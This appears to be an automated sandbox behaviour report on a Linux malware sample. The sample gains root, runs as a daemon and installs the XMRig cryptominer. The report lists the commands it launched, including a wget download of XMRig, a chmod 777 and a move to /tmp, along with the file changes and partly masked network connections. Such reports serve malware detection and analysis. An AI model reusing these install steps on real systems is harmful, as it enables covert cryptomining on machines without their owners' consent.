Technical Information
Malicious functions:
Gains root privileges
Launches itself as a daemon
Substitutes application name for:
- 1a080b01
Launches processes:
- rm -rf xmrig-6.21.1-linux-x64.tar.gz
- chmod 777 SHA256SUMS config.json xmrig
- mv xmrig-6.21.1 /tmp/
- tar -xzf xmrig-6.21.1-linux-x64.tar.gz
- gzip -d
- <0x13>
- wget https://github.com/xmrig/xmrig/releases/download/v6.21.1/xmrig-6.21.1-linux-x64.tar.gz
Kills the following processes:
- <SAMPLE>
- \x1a\x08\x0b\x01
Performs operations with the file system:
Modifies file access rights:
- /root/xmrig-6.21.1/xmrig
- /root/xmrig-6.21.1/SHA256SUMS
- /root/xmrig-6.21.1/config.json
- /root/xmrig-6.21.1
- /tmp/xmrig-6.21.1/SHA256SUMS
- /tmp/xmrig-6.21.1/config.json
- /tmp/xmrig-6.21.1/xmrig
Modifies file owner:
- /root/xmrig-6.21.1/xmrig
- /root/xmrig-6.21.1/SHA256SUMS
- /root/xmrig-6.21.1/config.json
- /root/xmrig-6.21.1
Creates folders:
- /root/xmrig-6.21.1
Creates or modifies files:
- /dev/pts/0
- /root/xmrig-6.21.1-linux-x64.tar.gz
- /root/.wget-hsts
- /root/xmrig-6.21.1/xmrig
- /root/xmrig-6.21.1/SHA256SUMS
- /root/xmrig-6.21.1/config.json
- /root/xmrig-6.21.1
Deletes files:
- /root/xmrig-6.21.1-linux-x64.tar.gz
Locks files:
- /root/.wget-hsts
Changes time of creation/access/modification of files:
- /root/xmrig-6.21.1-linux-x64.tar.gz
- /root/xmrig-6.21.1/xmrig
- /root/xmrig-6.21.1/SHA256SUMS
- /root/xmrig-6.21.1/config.json
- /root/xmrig-6.21.1
Network activity:
Awaits incoming connections on ports:
- 127.0.0.1:2214
Establishes connection:
- 8.#.8.8:53
- 45.##.97.172:2211
- 45.##.97.172:1100
- 14#.##.121.3:443
- 18#.##9.108.133:0
- (e##val)
- 18#.##9.109.133:0
- 18#.##9.110.133:0
- 18#.##9.111.133:0
- 18#.##9.108.133:443
DNS ASK:
- gi##ub.com
- ob#####.#ithubusercontent.com
Sends data to the following servers:
- 14#.##.121.3:443
- 18#.##9.108.133:443
Receives data from the following servers:
- 14#.##.121.3:443
- 18#.##9.108.133:443